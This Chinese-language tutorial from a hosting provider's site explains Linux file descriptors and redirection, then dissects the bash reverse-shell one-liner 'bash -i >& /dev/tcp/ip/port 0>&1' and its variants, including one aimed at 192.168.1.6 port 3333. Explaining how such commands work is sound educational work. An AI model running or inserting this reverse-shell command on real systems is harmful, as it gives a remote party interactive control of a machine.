您好,登錄后才能下訂單哦!
如何理解Linux重定向及反彈shell,相信很多沒(méi)有經(jīng)驗(yàn)的人對(duì)此束手無(wú)策,為此本文總結(jié)了問(wèn)題出現(xiàn)的原因和解決方法,通過(guò)這篇文章希望你能解決這個(gè)問(wèn)題。
這里說(shuō)Linux重定向的原因主要還是為了詳細(xì)了解一下Linux中的反彈shell
0x01 文件描述符
Linux的文件描述符有以下三種
標(biāo)準(zhǔn)輸入:0
標(biāo)準(zhǔn)輸出:1
錯(cuò)誤輸出:2
對(duì)于文件描述符就先知道這些就可以了,具體的使用會(huì)在重定向中來(lái)說(shuō),重定向就是對(duì)文件描述符的操作
0x02 重定向
重定向主要分為以下兩種
輸入重定向 <、<<
輸出重定向 >、>>
通過(guò)下面的兩張圖就可以很明白的看出來(lái)他們的用途了
我們也可以把錯(cuò)誤的內(nèi)容重定向到另一個(gè)文件中的
下面這個(gè)操作,我們就可以把正確的結(jié)果放到test.txt,而把錯(cuò)誤的結(jié)果放到test1.txt文件中
其實(shí)這里的&符號(hào)是為了區(qū)分文件跟文件描述符的,如果這里沒(méi)有&符號(hào),系統(tǒng)會(huì)把它理解為文件,而不是標(biāo)準(zhǔn)輸出
0x03 反彈shell
下面是很常見(jiàn)的一條反彈shell命令,我們就以這個(gè)為例來(lái)進(jìn)行解釋
bash -i >& /dev/tcp/ip/port 0>&1
解釋
bash -i
表示創(chuàng)建一個(gè)交互式的shell,可以在幫助文檔中看到
/dev/tcp/ip/port
實(shí)際上這個(gè)文件不是存在的,但是當(dāng)你在監(jiān)聽(tīng)這個(gè)端口的時(shí)候,對(duì)這個(gè)文件進(jìn)行讀寫(xiě),就可以實(shí)現(xiàn)兩個(gè)主機(jī)之間的socket通信
0>&1
將標(biāo)準(zhǔn)輸入和標(biāo)準(zhǔn)輸出重定向到指定的文件中
如果把這條命令改成2>&1可能會(huì)更容易理解一點(diǎn)
如果理解了上面這個(gè)的話,對(duì)于這個(gè)就很容易理解了
>&
將前面的后和后面的一致,就是將交互式的shell傳給我們的遠(yuǎn)程主機(jī)
理解了上面的內(nèi)容,我們將標(biāo)準(zhǔn)輸出改為標(biāo)準(zhǔn)輸入,看一下會(huì)發(fā)生什么事情
在這個(gè)情況下的邏輯就是,從/dev/tcp/192.168.1.6/3333獲取輸入,然后將輸出重定向到/dev/tcp/192.168.1.6/3333,從而形成了一個(gè)回路
可以發(fā)現(xiàn)兩者的效果是一樣的,它們唯一的不同是打開(kāi)文件時(shí)候的方式不同,其他的內(nèi)容都與我們前面說(shuō)的是一樣的
同樣的,我們將 0>&1 變?yōu)?0>&2 是一樣的效果
至于其他的變形類(lèi)型的,就按照上面所說(shuō)的那些東西自己去推算即可。
看完上述內(nèi)容,你們掌握如何理解Linux重定向及反彈shell的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。